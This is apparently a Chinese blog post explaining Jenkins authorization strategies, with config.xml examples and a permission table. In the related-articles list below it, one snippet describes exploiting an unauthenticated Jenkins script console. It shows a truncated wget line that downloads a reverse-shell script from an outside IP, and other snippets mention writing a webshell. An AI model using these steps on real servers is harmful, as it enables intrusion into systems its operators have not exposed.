Jenkins的授权和访问控制
默认的Jenkins不包含任何的安全检查,任何人可以修改Jenkins设置,job和启动build等。显然地在大规模的公司需要多个部门一起协调工作的时候,没有任何安全检查会带来很多的问题。 在系统管理-Configure Global Security页面可以“访问控制”进行相应的设置。如下图:

Jenkins的权限配置文件存放在JENKINS_HOME目录。进入JENKINS_HOME目录,找到config.xml文件。打开config.xml,里面有一堆的东西,找找。。。找到了<useSecurity>和<authorizationStrategy>节点。<useSecurity>节点代表是否使用用户权限,<authorizationStrategy>节点代表用户权限是怎么划分的。
1) Security Realm,用来决定用户名和密码,且指定用户属于哪个组;
2) Authorization Strategy,用来决定用户对那些资源有访问权限;
一、详细讲解4种授权策略
1、任何用户可以做任何事(没有任何限制)
1)页面设置如下图:

2)config.xml脚本如下:
<useSecurity>true</useSecurity>
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
<securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
<disableSignup>true</disableSignup>
<enableCaptcha>false</enableCaptcha>
</securityRealm>
2、登录用户可以做任何事
1)页面设置如下图:

2)config.xml脚本如下:
<useSecurity>true</useSecurity>
<authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy"/>
<securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
<disableSignup>false</disableSignup>
<enableCaptcha>false</enableCaptcha>
</securityRealm>
3、安全矩阵
1)页面设置如下图:

2)config.xml脚本如下:
<useSecurity>true</useSecurity>
<authorizationStrategy class="hudson.security.GlobalMatrixAuthorizationStrategy">
<permission>hudson.model.Hudson.Administer:jenkins</permission>
<permission>hudson.model.Hudson.Read:anonymous</permission>
<permission>hudson.model.Hudson.Read:dev</permission>
<permission>hudson.model.Item.Build:dev</permission>
<permission>hudson.model.Item.Read:anonymous</permission>
<permission>hudson.model.Item.Read:dev</permission>
</authorizationStrategy>
<securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
<disableSignup>false</disableSignup>
<enableCaptcha>false</enableCaptcha>
</securityRealm>
设置好权限之后,点击注册,注册相应的账号,如上图的dev,jenkins。
4、项目矩阵授权策略
说明:安全矩阵和项目矩阵授权策略的配置是一模一样的,唯一的区别是项目矩阵授权策略支持在Job的配置页面再次配置授权策略。
这种策略在工作中用得较多,比如针对不同的项目选择不同的用户具有不同权限。
1)页面设置如下图:

各种权限如下(在配置页面将鼠标放到该权限上即可查看帮助):
|
Overall(全局) |
Credentials(凭证) | Slave(节点) | Job(任务) | View(视图) | |||||||||||||||||||||||
| Administer | Read | RunScripts | UploadPlugins | ConfigureUpdateCenter | Create | Update | View | Delete |
ManageDomains |
Configure | Delete | Create | Disconnect | Connect | Build | Create | Delete | Configure | Read | Discover | Build | Workspace | Cancel | Create | Delete | Configure | Read |
| 管理员(最大) | 阅读 | 运行脚本 | 升级插件 | 配置升级中心 | 创建 | 更新 | 查看 | 删除 | 管理域 | 配置 | 删除 | 创建 | 断开连接 | 连接 | 构建 | 创建 | 删除 | 配置 | 阅读 | 重定向 | 构建 | 查看工作区 | 取消构建 | 创建 | 删除 | 配置 | 阅读 |
其中有一些比较特别的权限:
最大的权限是Overall的Administer,拥有该权限可以干任何事情。
最基本的权限是Overall的Read,用户必须赋予阅读的权限,不然什么都看不到。
Job的Discover权限是一个奇葩的权限,帮助说Discover比Read的级别更低。如果匿名用户(没有访问job的权限)直接访问一个Job的Url将重定向到登陆页面。(经测试,这个权限应该是被废弃了。)
Credentials的ManageDomains这个权限没有看懂干嘛的,有懂的大家一起交流哈!
ps:如果有个用户被赋予了Overall的Read,并没有被赋予Job的Read权限,那么该用户就无法访问job。原因:没有权限。
2)config.xml脚本如下:
<useSecurity>true</useSecurity>
<authorizationStrategy class="hudson.security.ProjectMatrixAuthorizationStrategy">
<permission>hudson.model.Hudson.Administer:admin</permission>
<permission>hudson.model.Hudson.Read:anonymous</permission>
<permission>hudson.model.Item.Build:dev</permission>
<permission>hudson.model.Item.Read:anonymous</permission>
<permission>hudson.model.Item.Read:dev</permission>
</authorizationStrategy>
<securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
<disableSignup>false</disableSignup>
<enableCaptcha>false</enableCaptcha>
</securityRealm>
3)每个用户后都有1-2个图标,第一个是反选功能(删除当前已选择的权限,选择其他所有权限),第二个是删除功能(删除该用户)

4)在Job中配置项目安全,如下图:

二、遇到的问题
权限控制模式
<authorizationStrategy>节点上有个class属性,这个属性控制着使用那种授权模式。
| hudson.security.FullControlOnceLoggedInAuthorizationStrategy | 登录用户可以做任何事 |
| hudson.security.ProjectMatrixAuthorizationStrategy | 项目矩阵授权策略 |
| hudson.security.GlobalMatrixAuthorizationStrategy | 安全矩阵 |
| hudson.security.LegacyAuthorizationStrategy | 遗留模式 |
Jenkins的授权和访问控制的更多相关文章
- 四.Jenkins的授权和访问控制
默认的Jenkins不包含任何的安全检查,任何人可以修改Jenkins设置,job和启动build等.在多人使用的时候,显然会存在比较大的安全风险,所以需要配置Jenkins的授权和访问控制. [系统 ...
- Jenkins学习七:Jenkins的授权和访问控制
默认的Jenkins不包含任何的安全检查,任何人可以修改Jenkins设置,job和启动build等.显然地在大规模的公司需要多个部门一起协调工作的时候,没有任何安全检查会带来很多的问题. 在系统管理 ...
- Jenkins未授权访问脚本执行漏洞
Jenkins未授权访问脚本执行漏洞 步骤 首先找一个站点挂上一个反弹shell脚本,然后在脚本执行框里执行脚本进行下载到tmp目录: println "wget http://47.95. ...
- jenkins未授权访问漏洞
jenkins未授权访问漏洞 一.漏洞描述 未授权访问管理控制台,可以通过脚本命令行执行系统命令.通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshe ...
- 利用Jenkins未授权获取服务器权限--Docker还来干扰--一次渗透的经历
Jenkins获取权限的过程 Jenkins存在未授权访问漏洞 Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功. 备注:控制台一般 ...
- jenkins之授权和权限管理
#:创建角色,给角色授权,然后创建用户,将用户加入到角色(前提先安装插件) #:先将之前的卸载掉 #:然后重启服务,在可选插件搜索Role #:装完重启服务 root@ubuntu:~# system ...
- apache认证、授权、访问控制
认证对象:某一个网站目录. 启用认证 1.即用AllowOverride指令指定哪些指令在针对单个目录的配置文件中有效:AllowOverride AuthConfig 2.设置密码登录访问某个站点或 ...
- [转载] Jenkins入门总结
转载自http://www.cnblogs.com/itech/archive/2011/11/23/2260009.html 在网上貌似没有找到Jenkins的中文的太多的文档,有的都是关于Huds ...
- Jenkins入门总结
Jenkins是基于Java开发的一种持续集成工具,用于监控持续重复的工作,功能包括: 1.持续的软件版本发布/测试项目. 2.监控外部调用执行的工作 在网上貌似没有找到Jenkins的中文的太多的文 ...
随机推荐
- ACF/PACF,残差白噪声的检验问题
关于自相关.偏自相关: 一.自协方差和自相关系数 p阶自回归AR(p) 自协方差 r(t,s)=E[X(t)-EX(t)][X(s)-EX(s)] 自相关系数ACF ...
- pycharm配置总结
1. 快捷键 格式化代码:Ctrl + Alt + L 2. A scheme with this name already exists or was deleted without applyin ...
- NAT ------ 内网的主机如何通过路由器与外网的主机通信
内网主机A,路由器B,外网主机C 使用了两个协议: 路由:位于网络层,为数据包提供一个寻径的算法,不改变数据包的源IP和目的IP,但是会修改源MAC和目的MAC,只在同个网段的进行数据的转发 NAT: ...
- etcd3集群管理
目录 在什么情况下需要集群的运行时更改 集群运行时更改的操作 更新一个节点 删除一个节点 增加一个节点 节点迁移和灾难恢复 迁移节点 灾难恢复 在什么情况下需要集群的运行时更改 维护和升级多个机器 如 ...
- 转:IOS里的动画
摘要 本文主要介绍核iOS中的动画:核心动画Core Animation, UIView动画, Block动画, UIImageView的帧动画. 核心动画Core Animation UIView动 ...
- IOS方形头像如何变成圆形
方法一:直接使用UIView对应图层的cornerRadius self.layer.cornerRadius = CGRectGetWidth(self.bounds)/2.f; self. ...
- 数据库sharding系列好文收藏
部分摘自于:http://my.oschina.net/u/188625/blog/104743 1. 又拍网架构中的数据库分库设计 . http://blog.csdn.net/nanjingjia ...
- Java并发编程原理与实战三十七:线程池的原理与使用
一.简介 线程池在我们的高并发环境下,实际应用是非常多的!!适用频率非常高! 有过使用过Executors框架的朋友,可能不太知道底层的实现,这里就是讲Executors是由ThreadPoolExe ...
- Java并发编程原理与实战二十二:Condition的使用
Condition的使用 Condition用于实现条件锁,可以唤醒指定的阻塞线程.下面来实现一个多线程顺序打印a,b,c的例子. 先来看用wait和notify的实现: public class D ...
- javascript iframe相关操作
1. 获得iframe的window对象 iframeElement.contentWindow 2. 获得iframe的document对象 存在跨域访问限制. chrome:iframeEleme ...